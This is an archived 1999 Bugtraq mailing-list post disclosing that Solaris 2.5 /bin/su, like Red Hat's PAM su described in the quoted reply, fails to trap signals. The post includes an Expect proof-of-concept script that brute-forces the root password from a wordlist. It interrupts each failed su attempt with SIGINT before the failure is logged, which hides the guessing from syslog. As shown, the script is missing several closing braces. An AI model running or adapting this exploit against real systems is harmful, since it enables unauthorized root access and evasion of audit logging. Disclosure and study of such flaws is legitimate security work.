[10792] in bugtraq

home help back first fref pref prev next nref lref last post

Solaris 2.5 /bin/su [was: vulnerability in su/PAM in redhat]

daemon@ATHENA.MIT.EDU (Dr. Mudge)
Thu Jun 10 16:00:14 1999

Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <Pine.BSO.4.10.9906101400580.15608-100000@l0pht.com>
Date: 	Thu, 10 Jun 1999 14:13:06 -0500
Reply-To: "Dr. Mudge" <mudge@L0PHT.COM>
From: "Dr. Mudge" <mudge@L0PHT.COM>
X-To:         Tani Hosokawa <unknown@RIVERSTYX.NET>
In-Reply-To:  <Pine.LNX.4.10.9906091403070.27189-100000@avarice.riverstyx.net>

The same sort of problem existed in solaris /bin/su on 2.5 and below.

The comments in the quick proof of concept sploit below should explain
further [heh - almost as high a comment/code ratio as Hobbit's netcat
source :) ].

-----SNIP SNIP-----

#!/usr/local/bin/expect --

# A quick little sploit for a quick round of beers :) mudge@L0pht.com

# This was something that had been floating around for some time.
# It might have been bitwrior that pointed out some of the oddities
# but I don't remember.	
# It was mentioned to Casper Dik at some point and it was fixed in
# the next rev of Solaris (don't remember if the fix took place in
# 2.5.1 or 2.6 - I know it is in 2.6 at least).
# What happened was that the Solaris 2.5 and below systems
# had /bin/su written in the following fashion :
#    attempt to SU
#          |
#     succesfull
#    /          \
#   Y            N
#   |            |
# exec cmd     sleep
#                |
#             syslog
#                |
#              exit
# There were a few problems here - not the least of which was that they
# did not bother to trap signals. Thus, if you noticed su taking a while
# you most likely entered an incorrect password and were in the
# sleep phase.
# Sending a SIGINT by hitting ctrl-c would kill the process
# before the syslog of the invalid attempt occured.
# In current versions of /bin/su they DO trap signals.
# It should be noted that this is a fairly common coding problem that
# people will find in a lot of "security related" programs.
#     .mudge

if { ($argc < 1) || ($argc > 1) } {
  puts "correct usage is : $argv0 pwfile"

set pwfile [open $argv "r"]

log_user 0
foreach line [split [read $pwfile] "\n"] {
  spawn su root
  expect "Password:"
  send "$line\n"
  # you might need to tweak this but it should be ok
  set timeout 2
  expect {
    "#" { puts "root password is $line\n" ; exit }
  set id [ exp_pid ]
  exec kill -INT $id

-----SNIP SNIP------


For more advisories check out:
http://www.L0pht.com/advisories.html  [ That's L-zero-P-H-T ]

On Wed, 9 Jun 1999, Tani Hosokawa wrote:

> I was talking to some guy on IRC (st2) and he asked me to mention to
> bugtraq (because he's not on the list) that the PAMified su that comes
> with redhat has a slight hole. When you try to su to root (for example) if
> it's successful, immediately gives you a shell prompt.  Otherwise, it
> delays a full second, then logs an authentication failure to syslog.  If
> you hit break in that second, no error, plus you know that the password
> was bad, so you can brute force root's password.  I wrote a little
> threaded Perl prog that tested it (with a 0.25 second delay before the
> break) to attack my own password (with my password in the wordlist) and it
> seemed to work just fine, even with my own password hundreds of words down
> in the list, so it seems pretty predictable, as long as the server's under
> very little load (else you get a delay no matter what, and it screws the
> whole process by giving false negatives).
> ---
> tani hosokawa
> river styx internet

home help back first fref pref prev next nref lref last post